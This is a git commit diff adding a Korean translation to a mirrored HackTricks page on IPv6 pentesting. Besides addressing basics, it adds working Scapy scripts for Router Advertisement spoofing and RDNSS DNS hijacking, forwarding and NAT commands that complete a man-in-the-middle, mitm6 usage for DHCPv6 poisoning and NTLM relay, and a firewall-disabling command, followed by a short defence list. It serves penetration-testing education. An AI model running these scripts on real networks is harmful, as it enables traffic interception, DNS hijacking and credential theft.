mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
a399840858
commit
134274ee64
@ -1,8 +1,10 @@
|
||||
# Pentesting IPv6
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# IPv6 기본 이론
|
||||
## IPv6 기본 이론
|
||||
|
||||
## 네트워크
|
||||
### 네트워크
|
||||
|
||||
IPv6 주소는 네트워크 조직 및 장치 상호작용을 향상시키기 위해 구조화되어 있습니다. IPv6 주소는 다음과 같이 나뉩니다:
|
||||
|
||||
@ -17,8 +19,8 @@ IPv6는 IPv4에서 발견되는 ARP 프로토콜을 생략하지만, 두 가지
|
||||
|
||||
IPv6는 또한 특별한 주소 유형을 포함합니다:
|
||||
|
||||
- **루프백 주소 (`::1`)**: IPv4의 `127.0.0.1`과 동등하며, 호스트 내에서의 내부 통신을 위해 사용됩니다.
|
||||
- **링크-로컬 주소 (`FE80::/10`)**: 로컬 네트워크 활동을 위한 것으로, 인터넷 라우팅에는 사용되지 않습니다. 동일한 로컬 네트워크에 있는 장치들은 이 범위를 사용하여 서로를 발견할 수 있습니다.
|
||||
- **루프백 주소 (`::1`)**: IPv4의 `127.0.0.1`에 해당하며, 호스트 내에서의 내부 통신을 위해 사용됩니다.
|
||||
- **링크-로컬 주소 (`FE80::/10`)**: 인터넷 라우팅이 아닌 로컬 네트워크 활동을 위해 사용됩니다. 동일한 로컬 네트워크의 장치들은 이 범위를 사용하여 서로를 발견할 수 있습니다.
|
||||
|
||||
### 네트워크 명령에서의 IPv6 실용 사용
|
||||
|
||||
@ -38,21 +40,21 @@ alive6 eth0
|
||||
```
|
||||
IPv6 주소는 로컬 통신을 위해 장치의 MAC 주소에서 파생될 수 있습니다. 다음은 알려진 MAC 주소에서 Link-local IPv6 주소를 파생하는 방법에 대한 간단한 가이드와 네트워크 내에서 IPv6 주소를 발견하는 방법 및 IPv6 주소 유형에 대한 간략한 개요입니다.
|
||||
|
||||
## **MAC 주소에서 Link-local IPv6 파생하기**
|
||||
### **MAC 주소에서 Link-local IPv6 파생하기**
|
||||
|
||||
MAC 주소 **`12:34:56:78:9a:bc`**가 주어지면, Link-local IPv6 주소를 다음과 같이 구성할 수 있습니다:
|
||||
주어진 MAC 주소 **`12:34:56:78:9a:bc`**를 사용하여 Link-local IPv6 주소를 다음과 같이 구성할 수 있습니다:
|
||||
|
||||
1. MAC을 IPv6 형식으로 변환: **`1234:5678:9abc`**
|
||||
2. `fe80::`를 앞에 붙이고 중간에 `fffe`를 삽입: **`fe80::1234:56ff:fe78:9abc`**
|
||||
2. `fe80::`를 앞에 추가하고 중간에 `fffe`를 삽입: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. 왼쪽에서 일곱 번째 비트를 반전시켜 `1234`를 `1034`로 변경: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **IPv6 주소 유형**
|
||||
### **IPv6 주소 유형**
|
||||
|
||||
- **Unique Local Address (ULA)**: 로컬 통신을 위한 것으로, 공용 인터넷 라우팅을 위한 것이 아님. 접두사: **`FEC00::/7`**
|
||||
- **Multicast Address**: 일대다 통신을 위한 것. 멀티캐스트 그룹의 모든 인터페이스에 전달됨. 접두사: **`FF00::/8`**
|
||||
- **Anycast Address**: 일대가장 가까운 통신을 위한 것. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됨. **`2000::/3`** 글로벌 유니캐스트 범위의 일부.
|
||||
- **Unique Local Address (ULA)**: 로컬 통신을 위한 것으로, 공용 인터넷 라우팅을 위한 것이 아닙니다. 접두사: **`FEC00::/7`**
|
||||
- **Multicast Address**: 일대다 통신을 위한 것입니다. 멀티캐스트 그룹의 모든 인터페이스에 전달됩니다. 접두사: **`FF00::/8`**
|
||||
- **Anycast Address**: 일대가장 가까운 통신을 위한 것입니다. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됩니다. **`2000::/3`** 글로벌 유니캐스트 범위의 일부입니다.
|
||||
|
||||
## **주소 접두사**
|
||||
### **주소 접두사**
|
||||
|
||||
- **fe80::/10**: Link-Local 주소 (169.254.x.x와 유사)
|
||||
- **fc00::/7**: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x와 같은 사설 IPv4 범위와 유사)
|
||||
@ -60,14 +62,14 @@ MAC 주소 **`12:34:56:78:9a:bc`**가 주어지면, Link-local IPv6 주소를
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
|
||||
## **네트워크 내에서 IPv6 주소 발견하기**
|
||||
### **네트워크 내에서 IPv6 주소 발견하기**
|
||||
|
||||
### 방법 1: Link-local 주소 사용
|
||||
#### 방법 1: Link-local 주소 사용
|
||||
|
||||
1. 네트워크 내 장치의 MAC 주소를 얻습니다.
|
||||
2. MAC 주소에서 Link-local IPv6 주소를 파생합니다.
|
||||
|
||||
### 방법 2: Multicast 사용
|
||||
#### 방법 2: 멀티캐스트 사용
|
||||
|
||||
1. 멀티캐스트 주소 `ff02::1`에 핑을 보내 로컬 네트워크에서 IPv6 주소를 발견합니다.
|
||||
```bash
|
||||
@ -75,7 +77,7 @@ service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
### IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
|
||||
IPv6 네트워크에서 MitM 공격을 실행하기 위한 여러 기술이 존재합니다. 예를 들어:
|
||||
|
||||
@ -84,28 +86,196 @@ IPv6 네트워크에서 MitM 공격을 실행하기 위한 여러 기술이 존
|
||||
- 모바일 IPv6 공격 (일반적으로 IPSec 비활성화 필요).
|
||||
- 악성 DHCPv6 서버 설정.
|
||||
|
||||
# Identifying IPv6 Addresses in the eild
|
||||
## Identifying IPv6 Addresses in the eild
|
||||
|
||||
## Exploring Subdomains
|
||||
### Exploring Subdomains
|
||||
|
||||
IPv6 주소와 잠재적으로 연결된 서브도메인을 찾는 방법은 검색 엔진을 활용하는 것입니다. 예를 들어, `ipv6.*`와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령을 Google에서 사용할 수 있습니다:
|
||||
IPv6 주소와 연결될 가능성이 있는 서브 도메인을 찾는 방법은 검색 엔진을 활용하는 것입니다. 예를 들어, `ipv6.*`와 같은 쿼리 패턴을 사용하는 것이 효과적일 수 있습니다. 구체적으로, 다음 검색 명령을 Google에서 사용할 수 있습니다:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## DNS 쿼리 활용
|
||||
### DNS 쿼리 활용
|
||||
|
||||
IPv6 주소를 식별하기 위해 특정 DNS 레코드 유형을 쿼리할 수 있습니다:
|
||||
|
||||
- **AXFR**: 전체 존 전송을 요청하여 다양한 DNS 레코드를 발견할 수 있습니다.
|
||||
- **AAAA**: IPv6 주소를 직접적으로 찾습니다.
|
||||
- **AAAA**: IPv6 주소를 직접 찾습니다.
|
||||
- **ANY**: 사용 가능한 모든 DNS 레코드를 반환하는 광범위한 쿼리입니다.
|
||||
|
||||
## Ping6로 탐색하기
|
||||
### Ping6로 프로빙
|
||||
|
||||
조직과 관련된 IPv6 주소를 확인한 후, `ping6` 유틸리티를 사용하여 탐색할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움이 되며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
|
||||
조직과 관련된 IPv6 주소를 확인한 후, `ping6` 유틸리티를 사용하여 프로빙할 수 있습니다. 이 도구는 식별된 IPv6 주소의 응답성을 평가하는 데 도움이 되며, 인접한 IPv6 장치를 발견하는 데도 도움이 될 수 있습니다.
|
||||
|
||||
## 참고 문헌
|
||||
## IPv6 로컬 네트워크 공격 기술
|
||||
|
||||
다음 섹션에서는 **같은 /64 세그먼트 내에서** 글로벌 접두사를 알지 못한 채 실행할 수 있는 실용적인 레이어-2 IPv6 공격을 다룹니다. 아래에 표시된 모든 패킷은 **링크-로컬**이며, 로컬 스위치를 통해서만 이동하므로 대부분의 환경에서 매우 은밀합니다.
|
||||
|
||||
### 안정적인 실험실을 위한 시스템 조정
|
||||
|
||||
IPv6 트래픽을 다루기 전에, 자신의 테스트로 인해 오염되는 것을 피하고 대량 패킷 주입/스니핑 중 최상의 성능을 얻기 위해 시스템을 강화하는 것이 좋습니다.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
|
||||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||||
|
||||
# Increase fd / backlog limits when generating lots of traffic
|
||||
sudo sysctl -w fs.file-max=100000
|
||||
sudo sysctl -w net.core.somaxconn=65535
|
||||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Passive NDP & DHCPv6 Sniffing
|
||||
|
||||
모든 IPv6 호스트가 **자동으로 여러 멀티캐스트 그룹에 가입**하고 (`ff02::1`, `ff02::2`, …) SLAAC/NDP를 위해 ICMPv6를 사용하기 때문에, 단일 패킷을 전송하지 않고도 전체 세그먼트를 매핑할 수 있습니다. 다음의 Python/Scapy 원라이너는 가장 흥미로운 L2 메시지를 수신하고 누가 누구인지에 대한 색상 있는 타임스탬프 로그를 출력합니다:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
from scapy.layers.dhcp6 import *
|
||||
from datetime import datetime
|
||||
from colorama import Fore, Style, init
|
||||
import argparse
|
||||
|
||||
init(autoreset=True)
|
||||
|
||||
# Human-readable names for protocols we care about
|
||||
DHCP6_TYPES = {
|
||||
DHCP6_Solicit: 'Solicit',
|
||||
DHCP6_Advertise: 'Advertise',
|
||||
DHCP6_Request: 'Request',
|
||||
DHCP6_Reply: 'Reply',
|
||||
DHCP6_Renew: 'Renew',
|
||||
DHCP6_Rebind: 'Rebind',
|
||||
DHCP6_RelayForward:'Relay-Forward',
|
||||
DHCP6_RelayReply: 'Relay-Reply'
|
||||
}
|
||||
ICMP6_TYPES = {
|
||||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||||
}
|
||||
|
||||
def handler(pkt):
|
||||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||||
|
||||
# Identify protocol family first
|
||||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||||
if proto in pkt:
|
||||
break
|
||||
else:
|
||||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||||
for dhcp_t,name in DHCP6_TYPES.items():
|
||||
if dhcp_t in pkt:
|
||||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||||
else:
|
||||
return # not a DHCPv6 message we track
|
||||
else:
|
||||
return # not interesting
|
||||
|
||||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||||
print(f" MAC {eth_src} -> {eth_dst}")
|
||||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||||
print('-'*60)
|
||||
|
||||
if __name__ == '__main__':
|
||||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||||
a = argp.parse_args()
|
||||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
결과: 몇 초 만에 전체 **링크 로컬 토폴로지** (MAC ⇄ IPv6)를 생성하며, 능동 스캔에 의존하는 IPS/IDS 시스템을 트리거하지 않습니다.
|
||||
|
||||
### 라우터 광고 (RA) 스푸핑
|
||||
|
||||
IPv6 호스트는 기본 게이트웨이 검색을 위해 **ICMPv6 라우터 광고**에 의존합니다. 정품 라우터보다 **더 자주** 위조된 RA를 주입하면, 장치들은 조용히 당신을 게이트웨이로 전환합니다.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||||
args = p.parse_args()
|
||||
|
||||
lifetime = 0 if args.revert else args.lifetime
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
실제로 **트래픽을 전달**하려면 경주에서 이긴 후:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
### RDNSS (DNS) 스푸핑을 통한 RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106)는 RA 내부에 **Recursive DNS Server (RDNSS)** 옵션을 추가하는 것을 허용합니다. 최신 운영 체제(Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved 등)는 이를 자동으로 신뢰합니다:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('--llip',required=True)
|
||||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||
p.add_argument('--lifetime',type=int,default=600)
|
||||
p.add_argument('--interval',type=int,default=5)
|
||||
args = p.parse_args()
|
||||
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=0)/
|
||||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
클라이언트는 주어진 수명 동안 DNS를 자신의 리졸버 목록에 **선행 추가**하여 값이 만료되거나 `lifetime=0`으로 되돌리기 전까지 전체 DNS 하이재킹을 허용합니다.
|
||||
|
||||
### DHCPv6 DNS 스푸핑 (mitm6)
|
||||
|
||||
SLAAC 대신, Windows 네트워크는 종종 DNS를 위해 **상태 비저장 DHCPv6**에 의존합니다. [mitm6](https://github.com/rofl0r/mitm6)는 `Solicit` 메시지에 자동으로 응답하여 **Advertise → Reply** 흐름을 통해 **당신의 링크-로컬 주소를 300초 동안 DNS로 할당**합니다. 이는 다음을 가능하게 합니다:
|
||||
|
||||
* NTLM 릴레이 공격 (WPAD + DNS 하이재킹)
|
||||
* 라우터를 건드리지 않고 내부 이름 해석 가로채기
|
||||
|
||||
일반적인 사용:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### 방어
|
||||
|
||||
* 관리형 스위치에서 **RA Guard / DHCPv6 Guard / ND Inspection**.
|
||||
* 합법적인 라우터의 MAC만 RAs를 전송할 수 있도록 허용하는 포트 ACL.
|
||||
* **불안정한 고속 RAs** 또는 갑작스러운 **RDNSS 변경** 모니터링.
|
||||
* 엔드포인트에서 IPv6를 비활성화하는 것은 현대 서비스에 자주 문제를 일으키고 블라인드 스팟을 숨기는 임시 해결책입니다 – 대신 L2 필터링을 선호하십시오.
|
||||
|
||||
|
||||
|
||||
## 참고문헌
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user